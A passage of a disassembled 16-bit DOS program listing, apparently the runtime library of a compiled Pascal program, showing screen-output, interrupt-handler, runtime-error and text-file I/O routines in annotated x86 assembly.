out dx,al ; port 3D4h, CGA/EGA reg index
; al = 0Fh, cursor position lo
jmp short loc_43
loc_43:
mov al,cl
inc dx
out dx,al ; port 3D5h, CGA/EGA indxd data
pop ds
ret
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_21:
cmp si,di
je loc_ret_51 ; Jump if equal
push cx
push dx
push di
push ds
push es
mov cx,di
sub cx,si
mov dl,data_17 ; (7058:0041=56h)
mov dh,data_19 ; (7058:0044=0A1h)
mov ax,40h
mov ds,ax
mov al,bh
mul byte ptr ds:data_4e ; (0040:004A=50h) ax = data * al
xor bh,bh ; Zero register
add ax,bx
shl ax,1 ; Shift w/zeros fill
mov di,ax
mov bx,dx
mov dx,ds:data_6e ; (0040:0063=3D4h)
add dx,6
mov ax,0B800h
cmp byte ptr ds:data_3e,7 ; (0040:0049=3)
jne loc_44 ; Jump if not equal
mov ah,0B0h
loc_44:
push es
pop ds
mov es,ax
cld ; Clear direction
or bl,bl ; Zero ?
jz loc_48 ; Jump if zero
locloop_45:
lodsb ; String [si] to al
mov bl,al
loc_46:
in al,dx ; port 3DAh, CGA/EGA vid status
test al,1
jnz loc_46 ; Jump if not zero
cli ; Disable interrupts
loc_47:
in al,dx ; port 3DAh, CGA/EGA vid status
test al,1
jz loc_47 ; Jump if zero
mov ax,bx
stosw ; Store ax to es:[di]
sti ; Enable interrupts
loop locloop_45 ; Loop if cx > 0
jmp short loc_50
loc_48:
mov ah,bh
locloop_49:
lodsb ; String [si] to al
stosw ; Store ax to es:[di]
loop locloop_49 ; Loop if cx > 0
loc_50:
pop es
pop ds
pop di
pop dx
pop cx
loc_ret_51:
ret
sub_18 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_22 proc near
loc_52:
push si
push di
push bp
push es
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
pop es
pop bp
pop di
pop si
ret
sub_22 endp
db 13 dup (0)
seg_b ends
;-------------------------------------------------------------- seg_c -----
seg_c segment para public
assume cs:seg_c, ds:seg_c, ss:stack_seg_e
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_23 proc far
mov dx,seg_d
mov ds,dx
mov data_52,es ; (7125:0032=0)
xor bp,bp ; Zero register
mov ax,sp
add ax,13h
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov dx,ss
add ax,dx
mov data_40,ax ; (7125:000A=0)
mov data_41,ax ; (7125:000C=0)
add ax,data_39 ; (7125:0004=0)
mov data_42,ax ; (7125:000E=0)
mov data_44,ax ; (7125:0018=0)
mov data_45,ax ; (7125:001C=0)
mov ax,es:data_68 ; (701E:0002=0)
sub ax,1000h
mov data_46,ax ; (7125:0020=0)
mov di,252h
mov si,1DDh
mov cx,12h
nop
cld ; Clear direction
locloop_53:
lods byte ptr cs:[si] ; String [si] to al
mov ah,35h ; '5'
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov [di],bx
mov [di+2],es
add di,4
loop locloop_53 ; Loop if cx > 0
push ds
push cs
pop ds
mov dx,0CEh
mov ax,2500h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov dx,0D5h
mov ax,2523h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov dx,9Dh
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov dx,0C6h
mov ax,253Fh
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
mov ax,52h
push ds
push ax
push ds
push ax
mov ax,206h
push cs
push ax
push cs
call sub_49
push cs
call sub_33
mov ax,152h
push ds
push ax
push ds
push ax
mov ax,206h
push cs
push ax
push cs
call sub_49
push cs
call sub_34
ret ; Return far
sub_23 endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_24h_entry proc far
sti ; Enable interrupts
add sp,6
pop ax
and di,1Fh
add di,96h
cmp ah,39h ; '9'
jae loc_54 ; Jump if above or =
mov di,0FFFFh
loc_54:
push di
mov ah,54h ; 'T'
int 21h ; DOS Services ah=function 54h
; get verify flag in al
mov bp,sp
or byte ptr [bp+16h],1
pop ax
pop bx
pop cx
pop dx
pop si
pop di
pop bp
pop ds
pop es
iret ; Interrupt return
int_24h_entry endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_3Fh_entry proc far
mov ax,0D0h
add sp,6
jmp short loc_55
int_3Fh_entry endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_00h_entry proc far
mov ax,0C8h
loc_55:
pop cx
pop bx
jmp short loc_56
int_00h_entry endp
;██████████████████████████████████████████████████████████████████████████
;
; External Entry Point
;
;██████████████████████████████████████████████████████████████████████████
int_23h_entry proc far
mov ax,0FFh
int_23h_entry endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_24 proc far
xor cx,cx ; Zero register
xor bx,bx ; Zero register
loc_56:
mov dx,seg_d
mov ds,dx
sti ; Enable interrupts
mov data_49,ax ; (7125:002C=0)
mov ax,cx
or ax,bx
jz loc_60 ; Jump if zero
mov ax,data_43 ; (7125:0010=0)
loc_57:
or ax,ax ; Zero ?
jz loc_59 ; Jump if zero
mov es,ax
cmp bx,es:data_1e ; (0000:0010=0FF33h)
je loc_58 ; Jump if equal
mov ax,es:data_2e ; (0000:0014=0FF54h)
jmp short loc_57
loc_58:
mov bx,es
loc_59:
sub bx,data_52 ; (7125:0032=0)
sub bx,10h
loc_60:
mov data_50,cx ; (7125:002E=0)
mov data_51,bx ; (7125:0030=0)
les bx,data_47 ; (7125:0028=0) Load 32 bit ptr
mov ax,es
or ax,bx
jz loc_61 ; Jump if zero
xor ax,ax ; Zero register
mov word ptr data_47,ax ; (7125:0028=0)
mov data_48,ax ; (7125:002A=0)
mov data_53,ax ; (7125:0036=0)
mov ax,112h
push cs
push ax
push es
push bx
ret ; Return far
loc_61:
mov ax,52h
push ds
push ax
push cs
call sub_35
mov ax,152h
push ds
push ax
push cs
call sub_35
mov di,252h
mov si,1DDh
mov cx,12h
nop
cld ; Clear direction
locloop_62:
lods byte ptr cs:[si] ; String [si] to al
mov ah,25h ; '%'
push ds
lds dx,dword ptr [di] ; Load 32 bit ptr
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
add di,4
loop locloop_62 ; Loop if cx > 0
mov ax,data_50 ; (7125:002E=0)
or ax,data_51 ; (7125:0030=0)
jz loc_63 ; Jump if zero
mov bx,1EFh
call sub_25
mov ax,data_49 ; (7125:002C=0)
call sub_26
mov bx,1FEh
call sub_25
mov ax,data_51 ; (7125:0030=0)
call sub_28
mov al,3Ah ; ':'
call sub_31
mov ax,data_50 ; (7125:002E=0)
call sub_28
mov bx,203h
call sub_25
loc_63:
mov ax,data_49 ; (7125:002C=0)
mov ah,4Ch ; 'L'
int 21h ; DOS Services ah=function 4Ch
; terminate with al=return code
sub_24 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_25 proc near
loc_64:
mov al,cs:[bx]
or al,al ; Zero ?
jz loc_ret_65 ; Jump if zero
call sub_31
inc bx
jmp short loc_64
loc_ret_65:
ret
sub_25 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_26 proc near
mov cl,64h ; 'd'
call sub_27
mov cl,0Ah
call sub_27
jmp short loc_66
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_27:
xor ah,ah ; Zero register
div cl ; al, ah rem = ax/reg
loc_66:
add al,30h ; '0'
push ax
call sub_31
pop ax
mov al,ah
ret
sub_26 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_28 proc near
push ax
mov al,ah
call sub_29
pop ax
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_29:
push ax
mov cl,4
shr al,cl ; Shift w/zeros fill
call sub_30
pop ax
and al,0Fh
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_30:
add al,30h ; '0'
cmp al,3Ah ; ':'
jb loc_67 ; Jump if below
add al,7
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_31:
loc_67:
mov dl,al
mov ah,6
int 21h ; DOS Services ah=function 06h
; special char i/o, dl=subfunc
ret
sub_28 endp
db 0, 2, 1Bh
db '#$456789:;<=>?uRuntime error '
db 0, 20h, 61h, 74h, 20h, 0
db 2Eh, 0Dh, 0Ah, 0, 33h, 0C0h
db 87h, 6, 36h, 0, 0CBh
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_32 proc far
cmp data_69,0 ; (0000:0036=0C800h)
jne loc_68 ; Jump if not equal
ret ; Return far
loc_68:
mov ax,data_69 ; (0000:0036=0C800h)
jmp loc_55
sub_32 endp
db 8Bh, 0F4h, 36h, 8Eh, 44h, 2
db 26h, 3Bh, 55h, 2, 7Fh, 7
db 7Ch, 14h, 26h, 3Bh, 5, 72h
db 0Fh
loc_69:
cmp dx,es:[di+6]
jl loc_ret_70 ; Jump if <
jg loc_71 ; Jump if >
cmp ax,es:[di+4]
ja loc_71 ; Jump if above
loc_ret_70:
ret ; Return far
loc_71:
mov ax,0C9h
jmp loc_55
db 8Bh
db 0F4h, 2Bh, 0F0h, 72h
db 0Dh, 81h, 0EEh, 0
db 2, 72h, 7, 3Bh
db 36h, 34h, 0, 72h, 1, 0CBh
db 0B8h, 0CAh, 0, 0E9h, 74h, 0FEh
db 8Bh, 0DCh, 1Eh, 36h, 0C4h, 7Fh
db 8, 36h, 0C5h, 77h, 4, 0FCh
db 33h, 0C0h, 0ABh, 0B8h, 0B0h, 0D7h
db 0ABh, 0B8h, 80h, 0, 0ABh, 33h
db 0C0h, 0ABh, 0ABh, 0ABh, 8Dh, 45h
db 74h, 0ABh, 8Ch, 0C0h, 0ABh, 0B8h
db 72h, 3, 0ABh, 8Ch, 0C8h, 0ABh
db 33h, 0C0h, 0B9h, 0Eh, 0, 0F3h
db 0ABh, 0ACh, 3Ch, 4Fh, 76h, 2
db 0B0h
db 4Fh
loc_72:
mov cl,al
xor ch,ch ; Zero register
rep movsb ; Rep while cx>0 Mov [si] to es:[di]
xor al,al ; Zero register
stosb ; Store al to es:[di]
pop ds
ret 8 ; Return far
db 8Bh, 0DCh, 36h, 0C4h, 7Fh, 0Ah
db 36h, 8Bh, 47h, 4, 26h, 89h
db 45h, 4, 36h, 8Bh, 47h, 6
db 26h, 89h, 45h, 0Ch, 36h, 8Bh
db 47h, 8, 26h, 89h, 45h, 0Eh
db 33h, 0C0h, 26h, 89h, 45h, 8
db 26h, 89h, 45h, 0Ah, 0CAh, 0Ah
db 0
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_33 proc far
mov dx,0D7B1h
jmp short loc_73
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_34:
mov dx,0D7B2h
jmp short loc_73
db 0BAh, 0B3h, 0D7h
loc_73:
mov bx,sp
les di,dword ptr ss:[bx+4] ; Load 32 bit ptr
mov ax,es:[di+2]
cmp ax,0D7B1h
je loc_74 ; Jump if equal
cmp ax,0D7B2h
je loc_74 ; Jump if equal
cmp ax,0D7B0h
je loc_75 ; Jump if equal
mov data_69,66h ; (0000:0036=0C800h)
jmp short loc_ret_76
loc_74:
push dx
push es
push di
push cs
call sub_35
pop dx
loc_75:
xor ax,ax ; Zero register
mov es:[di+2],dx
mov es:[di+8],ax
mov es:[di+0Ah],ax
mov bx,10h
call sub_36
jz loc_ret_76 ; Jump if zero
mov word ptr es:[di+2],0D7B0h
loc_ret_76:
ret 4 ; Return far
sub_33 endp
db 0B0h, 0, 0EBh, 2
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_35 proc near
mov al,1
mov bx,sp
les di,dword ptr ss:[bx+4] ; Load 32 bit ptr
cmp word ptr es:[di+2],0D7B1h
je loc_78 ; Jump if equal
cmp word ptr es:[di+2],0D7B2h
je loc_77 ; Jump if equal
mov data_53,67h ; (7125:0036=0)
jmp short loc_ret_79
loc_77:
push ax
mov bx,14h
call sub_36
pop ax
loc_78:
or al,al ; Zero ?
jz loc_ret_79 ; Jump if zero
mov bx,1Ch
call sub_36
mov word ptr es:[di+2],0D7B0h
loc_ret_79:
ret 4 ; Return far
sub_35 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_36 proc near
push es
push di
push es
push di
call dword ptr es:[bx+di]
or ax,ax ; Zero ?
jz loc_80 ; Jump if zero
mov data_69,ax ; (0000:0036=0C800h)
loc_80:
pop di
pop es
ret
sub_36 endp
db 8Bh, 0DCh, 1Eh, 36h, 0C5h, 7Fh
db 4, 33h, 0C9h, 89h, 0Dh, 0B8h
db 0, 3Dh, 81h, 7Dh, 2, 0B1h
db 0D7h, 74h, 0Dh, 0B0h, 2, 0FFh
db 5, 81h, 7Dh, 2, 0B3h, 0D7h
db 74h, 2, 0B4h, 3Ch, 80h, 7Dh
db 30h, 0, 74h, 9, 8Dh, 55h
db 30h, 0CDh, 21h, 72h, 4Fh, 89h
db 5
loc_81:
mov ax,44Eh
xor cx,cx ; Zero register
mov bx,cx
cmp word ptr [di+2],0D7B1h
je loc_84 ; Jump if equal
mov bx,[di]
mov ax,4400h
int 21h ; DOS Services ah=function 44h
; device drivr cntrl al=subfunc
mov ax,4A3h
mov cx,ax
mov bx,cs
test dl,80h
jnz loc_83 ; Jump if not zero
cmp word ptr [di+2],0D7B3h
jne loc_82 ; Jump if not equal
call sub_37
loc_82:
mov ax,47Eh
xor cx,cx ; Zero register
mov bx,cx
loc_83:
mov word ptr [di+2],0D7B2h
loc_84:
mov [di+14h],ax
mov [di+16h],cs
mov [di+18h],cx
mov [di+1Ah],bx
mov word ptr [di+1Ch],4C3h
mov [di+1Eh],cs
xor ax,ax ; Zero register
loc_85:
pop ds
ret 4 ; Return far
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_37 proc near
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov bx,[di]
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
sub ax,80h
sbb dx,0
jnc loc_86 ; Jump if carry=0
xor ax,ax ; Zero register
xor dx,dx ; Zero register
loc_86:
mov cx,dx
mov dx,ax
mov bx,[di]
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
lea dx,ds:data_31e[di] ; (70BA:0080=0Eh) Load effective addr
mov cx,80h
mov bx,[di]
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
jnc loc_87 ; Jump if carry=0
xor ax,ax ; Zero register
loc_87:
xor bx,bx ; Zero register
loc_88:
cmp bx,ax
je loc_ret_90 ; Jump if equal
cmp byte ptr ds:data_31e[bx+di],1Ah ; (70BA:0080=0Eh)
je loc_89 ; Jump if equal
inc bx
jmp short loc_88
loc_89:
mov dx,bx
sub dx,ax
mov cx,0FFFFh
mov bx,[di]
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
xor cx,cx ; Zero register
mov bx,[di]
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_ret_90:
ret
sub_37 endp
db 8Bh, 0DCh, 1Eh, 36h, 0C4h, 7Fh
db 4, 26h, 0C5h, 55h, 0Ch, 26h
db 8Bh, 4Dh, 4, 26h, 8Bh, 1Dh
db 0B4h, 3Fh, 0CDh, 21h, 72h, 10h
db 26h, 89h, 45h, 0Ah, 33h, 0C0h
loc_91:
mov word ptr es:[di+8],0
pop ds
ret 4 ; Return far
db 26h, 0C7h, 45h, 0Ah, 0, 0
db 0EBh, 0EEh, 8Bh, 0DCh, 1Eh, 36h
db 0C4h, 7Fh, 4, 26h, 0C5h, 55h
db 0Ch, 33h, 0C9h, 26h, 87h, 4Dh
db 8, 26h, 8Bh, 1Dh, 0B4h, 40h
db 0CDh, 21h, 72h, 7, 2Bh, 0C1h
db 74h, 3, 0B8h, 65h, 0, 1Fh
db 0CAh, 4, 0, 8Bh, 0DCh, 1Eh
db 36h, 0C4h, 7Fh, 4, 26h, 0C5h
db 55h, 0Ch, 33h, 0C9h, 26h, 87h
db 4Dh, 8, 26h, 8Bh, 1Dh, 0B4h
db 40h, 0CDh, 21h, 72h, 2, 33h
db 0C0h, 1Fh, 0CAh, 4, 0, 8Bh
db 0DCh, 36h, 0C4h, 7Fh, 4, 26h
db 8Bh, 1Dh, 83h, 0FBh, 4, 76h
db 6, 0B4h, 3Eh, 0CDh, 21h, 72h
db 2, 33h, 0C0h, 0CAh, 4, 0
db 83h, 3Eh, 36h, 0, 0, 75h
db 8, 26h, 81h, 7Dh, 2, 0B1h
db 0D7h
db 75h, 0Dh
loc_92:
mov bx,es:[di+8]
mov dx,es:[di+0Ah]
les di,dword ptr es:[di+0Ch] ; Load 32 bit ptr
ret
loc_93:
mov data_29,68h ; (70BA:0036=252h)
jmp short loc_92
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_38 proc near
cmp bx,dx
je loc_95 ; Jump if equal
loc_94:
mov al,es:[bx+di]
clc ; Clear carry flag
ret
loc_95:
mov di,sp
les di,dword ptr ss:[di+2] ; Load 32 bit ptr
call sub_41
mov dx,ax
cmp bx,dx
jne loc_94 ; Jump if not equal
mov al,1Ah
stc ; Set carry flag
ret
sub_38 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_39 proc near
cmp word ptr ds:data_8e,0 ; (701E:0036=0)
jne loc_96 ; Jump if not equal
cmp word ptr es:[di+2],0D7B2h
jne loc_97 ; Jump if not equal
loc_96:
mov bx,es:[di+8]
mov dx,es:[di+4]
les di,dword ptr es:[di+0Ch] ; Load 32 bit ptr
ret
loc_97:
mov word ptr ds:data_8e,69h ; (701E:0036=0)
jmp short loc_96
sub_39 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_40 proc near
mov es:[bx+di],al
inc bx
cmp bx,dx
je loc_98 ; Jump if equal
ret
loc_98:
mov di,sp
les di,dword ptr ss:[di+2] ; Load 32 bit ptr
sub_40 endp
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_41 proc near
push cx
push si
push ds
mov dx,seg_d
mov ds,dx
mov es:[di+8],bx
push es
push di
push es
push di
call dword ptr es:[di+14h] ; 6 entries
or ax,ax ; Zero ?
jz loc_99 ; Jump if zero
mov data_53,ax ; (7125:0036=0)
loc_99:
pop di
pop es
mov ax,es:[di+0Ah]
mov bx,es:[di+8]
mov dx,es:[di+4]
les di,dword ptr es:[di+0Ch] ; Load 32 bit ptr
pop ds
pop si
pop cx
ret
sub_41 endp
db 8Bh, 0DCh, 36h, 0C4h, 7Fh, 4
db 6, 57h, 0E8h, 51h, 0FFh, 75h
db 14h
loc_100:
call sub_38
cmp al,1Ah
je loc_101 ; Jump if equal
inc bx
cmp al,0Dh
jne loc_100 ; Jump if not equal
call sub_38
cmp al,0Ah
jne loc_101 ; Jump if not equal
inc bx
loc_101:
pop di
pop es
mov es:[di+8],bx
jmp short loc_103
;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
; SUBROUTINE
;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
sub_42 proc far
mov bx,sp
les di,dword ptr ss:[bx+4] ; Load 32 bit ptr
push es
push di
call sub_39
jnz loc_102 ; Jump if not zero
mov al,0Dh
call sub_40
mov al,0Ah
call sub_40
loc_102:
pop di
pop es
mov es:[di+8],bx
jmp short loc_103
;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
sub_43:
mov bx,sp
les di,dword ptr ss:[bx+4] ; Load 32 bit ptr
loc_103:
cmp word ptr es:[di+1Ah],0
jne loc_105 ; Jump if not equal
loc_ret_104:
ret 4 ; Return far
loc_105:
cmp data_69,0 ; (0000:0036=0C800h)
jne loc_ret_104 ; Jump if not equal
push es
push di
call dword ptr es:[di+18h] ; 20 entries
or ax,ax ; Zero ?
